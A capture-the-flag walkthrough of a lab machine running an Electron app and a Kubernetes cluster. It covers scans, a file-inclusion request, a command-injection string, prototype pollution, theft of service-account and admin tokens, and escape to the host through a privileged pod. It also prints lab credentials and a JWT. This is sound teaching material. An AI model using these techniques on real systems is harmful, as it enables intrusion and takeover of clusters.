$ nmap -p- --min-rate 5000 10.129.136.226
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-28 08:04 EST
Nmap scan report for 10.129.136.226
Host is up (0.0073s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8443/tcp open https-alt
10250/tcp open unknown
10251/tcp open unknown
31337/tcp open Elite
There are some interesting ports that are open on this machine. We can do a detailed scan for better clarity (output has been truncated).
$ sudo nmap -p 22,80,8443,10250,10251,31337 -sC -sV -O -T4 10.129.136.226
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-28 08:05 EST
Nmap scan report for 10.129.136.226
Host is up (0.0071s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
8443/tcp open ssl/https-alt
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.129.136.226
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2024-01-28T13:02:51
10251/tcp open unknown
31337/tcp open http Node.js Express framework
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8)
Port 80 & 8443
Visting the web page shows us this:
When any of the links are clicked, we can download a zip file for an application. Not too sure what we can do with this at the moment.
We can see from the nmap scan above that there is some kind of Kubernetes application being run on port 8443. When trying to view it, all we get is a 401 Unauthorized error from the API.
Deb File Analysis
I downloaded the deb version of the application and unzipped it to find a few items:
$ ls
unobtainium_1.0.0_amd64.deb unobtainium_1.0.0_amd64.deb.md5sum
With the ar x command, we can decompile the deb file. We would get a few more files:
$ ls
control.tar.gz debian-binary unobtainium_1.0.0_amd64.deb.md5sum
data.tar.xz unobtainium_1.0.0_amd64.deb unobtainium_debian.zip
We can first use gunzip and tar to extract the control.tar.gz files. Within it, we can find a few other files.
Interesting. We can take a look at the content within these folders.
Seems that there is a user named felamos and this is some metadata of the program. The other files are bash scripts. The postinst file contained some hints about Electron 5+.
$catpostinst#!/bin/bash# Link to the binaryln-sf'/opt/unobtainium/unobtainium''/usr/bin/unobtainium'# SUID chrome-sandbox for Electron 5+chmod4755'/opt/unobtainium/chrome-sandbox'||trueupdate-mime-database/usr/share/mime||trueupdate-desktop-database/usr/share/applications||true
The other bash scripts was just a file to remove the binary.
$catpostrm#!/bin/bash# Delete the link to the binaryrm-f'/usr/bin/unobtainium'
Using xz -d and tar xvf on the data.tar.xz file revealed lots of files pertaining to the application.
Amongst all the files mentioned, it appears that the source code was within the ./opt/unobtainium/resources/app.asar directory of the folder. We can decompile this file using npx asar.
Then, we can begin our source code analysis
Source Code Analysis
It appears that this is the code for the application running on port 31337 of the machine. We can analyse /src/js/app.js to find this hint. We can also find a set of credentials.
$(document).ready(function(){$("#but_submit").click(function(){var message =$("#message").val().trim();$.ajax({ url:'http://unobtainium.htb:31337/', type:'put', dataType:'json', contentType:'application/json', processData:false, data:JSON.stringify({"auth": {"name":"felamos","password":"Winter2021"},"message": {"text": message}}),success:function(data) {//$("#output").html(JSON.stringify(data));$("#output").html("Message has been sent!"); } });});});
There was also another todo.js file that had a similar set of code within it.
We can test the connection to this server by sending a POST request as follows:
POST /todo HTTP/1.1Host:10.129.136.226:31337User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateConnection:closeUpgrade-Insecure-Requests:1Content-Type:application/jsonContent-Length:80{"auth": {"name":"felamos","password":"Winter2021" },"filename":"todo.txt"}# OR use curl$ curl -H "Content-Type: application/json" -X POST -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}' http://10.129.136.226:31337/todo
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}
We would be able to see that there's an obvious LFI present in the filename parameter. However, attempting to access anything beyond the local folder results in a hang. Perhaps there was another hidden file preventing access to other directories.
Anyways, I took a look at the index.js file by varying the filename parameter in the JSON data. This revealed some hidden code for me to read.
Finding RCE
Let's break this file down slowly. It starts off with the imports, and straightaway we can notice the child_process being used with exec, meaning there's some RCE to do here.
Then, there's further mention of the user and his credentials, as well as an admin. There was an auth function as well, and it uses ===. Seems like guessing the admin password is not the way to go here.
The function used here is root.upload, which was taken from the google-cloudstorage-commands imported earlier. When researching for exploits regarding this package, there are some RCE exploits that pop up.
In short, we need to execute this on the server: root.upload("./","& touch JHU", true);. This is trivial by altering the filename.
However, there's a small problem as we aren't allowed to upload with the credentials of felamos.
The main thing to take note of is the usage of merge, which is used unsafely because it does not verify the contents of message. This means that the application is vulnerable to prototype pollution, which would allow us to change certain attributes of our object. In this case, the object is the user felamos.
So to craft our exploit, we need to find out what information the JSON object must have. Based on app.js found earlier, we know that we need a "message":{"text':message}}" JSON. Afterwards, we can include the __proto__ portion.
The final request I sent looked like this:
Afterwards, I was able to upload files to the server:
Very obviously, we were in some kind of container. Remember the kubernetes API that we found a lot earlier? Perhaps that was the container escape vector.
Kubernetes Enumeration
I found this page rather useful.
It appears that we can get a token from the /run/secrets/kubernetes.io/serviceaccount folder to interact with the API. Within that file, we can find a ca.crt and token file.
Using this in conjunction with kubectl reveals that we can indeed talk to the API.
$ kubectl --server https://10.129.136.226:8443 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzA2NDQ5ODg5LCJpYXQiOjE2NzQ5MTM4ODksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWJhcHAtZGVwbG95bWVudC05NTQ2YmM3Y2ItYjdrMmciLCJ1aWQiOiIyMjA4Mzc5Yi0yY2U2LTQ0YjktYjlhOC1hOWU3N2Q1NTIwYTEifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJhOGQ5YjRkNC1iZDhjLTQyNDEtOTcxMC0zOGZkNzg5ZjYwYmUifSwid2FybmFmdGVyIjoxNjc0OTE3NDk2fSwibmJmIjoxNjc0OTEzODg5LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.nIY2J9lwK7XMWA8GBMvCMt7VqZXlcJf4R-QxUFKjRh6eiWO1yfF64ETLhiGI62AuMQ0tea-om4uHh2QQ9txgxb_XW6Ii4bI_wL_6RVVZbEfIVDVffwSTdquR3kt20V6omeOwk5W69oXbTOJeQXy7ULLCsmmzDvhr1k3NfJHuoadwpIB31nD3dLC3GTJZuEcO1U3ceuCctgnFUqQbhDRjlKhr3sAtviyZcRj00vH68o6xN2Ufgks57Oc54_4cIkCQ-7Q_l0yQOl2uI0IYA-pEaCVn2rnVOCcdjCWDPEZ7P8CUtvHElDcVpPk4pQikBygtHPQNgXIXMH7J-1gxnwNv_A get pod
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:default" cannot list resource "pods" in API group "" in the namespace "default"
Now, although we did not get any information, it confirms that this set of credentials are required to communicate with the API (which would have returned 401 Unauthorized anyways). We can just auth can-i --list to view our permissions
It appears that we can enumerate the namespaces hosted on the server.
NAME STATUS AGE
default Active 152d
kube-system Active 152d
kube-public Active 152d
kube-node-lease Active 152d
dev Active 152d
The dev one was the most interesting. We can attempt to enumerate what was running within that namespace. This can be done by appending -n dev get pods to our command.
NAME READY STATUS RESTARTS AGE
devnode-deployment-776dbcf7d6-sr6vj 1/1 Running 3 (152d ago) 152d
devnode-deployment-776dbcf7d6-g4659 1/1 Running 3 (152d ago) 152d
devnode-deployment-776dbcf7d6-7gjgf 1/1 Running 3 (152d ago) 152d
It seems that there are 3 pods running. We can enumerate the IP addresses of what's running by appending -n dev get pods -o custom-columns=NAME:metadata.name,IP:status.podIP.
NAME IP
devnode-deployment-776dbcf7d6-sr6vj 10.42.0.39
devnode-deployment-776dbcf7d6-g4659 10.42.0.38
devnode-deployment-776dbcf7d6-7gjgf 10.42.0.40
When checking the IP address of the pod I had a shell on, it was running on 10.42.0.41. Perhaps the other pods were accessible from that machine? I wanted to enumerate these machines more.
Container Escape
I downloaded an nmap binary to the machine we had access to and scanned the first 10000 ports of these 3 containers. The scan for 10.42.0.38 revealed that port 3000 was open on this machine.
# nmap -p- --min-rate 10000 10.42.0.38
Nmap scan report for 10.42.0.38
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000014s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3000/tcp open unknown
MAC Address: 6A:95:CB:8C:AB:5F (Unknown)
Port 3000 is the default port where Express applications run on. Earlier, in our source code review, the application was found to be running on Express. I repeated the Prototype Pollution and RCE exploit I used earlier, and was able to receive a shell to the devnode.
Namespace Enumeration
Now, within this new container, there was another token and ca.crt to be downloaded. Perhaps I would have new permissions with these.
When checking the auth can-i for all the namespaces, the kube-system one revealed something new.
From this, we can retrieve the administrator token to become the admin on the Kubernetes API. We can use describe secret -n kube-system c-admin-token-b47f7 to retrieve the token. Using this token, we can do all commands.
As the administrator, one attack path we can do is to create a new pod that has root access to the file system and connect to it. This article is very useful in telling us how.
Essentially, we need to create a YAML file that has specifications on how our new pod would be like, and it's there that we can include the mount path. First, we need to find the images available on the machine. This c an be done with some basic commands.
At the very bottom, we can find and use localhost:5000/dev-alpine. Then we can create our YAML file and then a new pod with custom settings.
Then we can capture the root flag. Afterwards, we can easily upgrade a shell into this machine. We can create an authorized_keys file and echo our public key in it.
Rooted! Really good machine for learning source code analysis and Kubernetes enumerations.